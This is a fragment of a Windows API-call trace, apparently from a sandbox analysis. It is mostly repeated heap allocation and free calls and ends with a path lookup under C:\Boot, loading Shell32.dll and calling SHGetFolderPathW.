(HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.417] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.423] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.423] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.423] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.423] PathFindFileNameW (pszPath="") returned="" [0066.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.423] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.424] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.424] SHGetFolderPathW (in: hwnd=0x0, 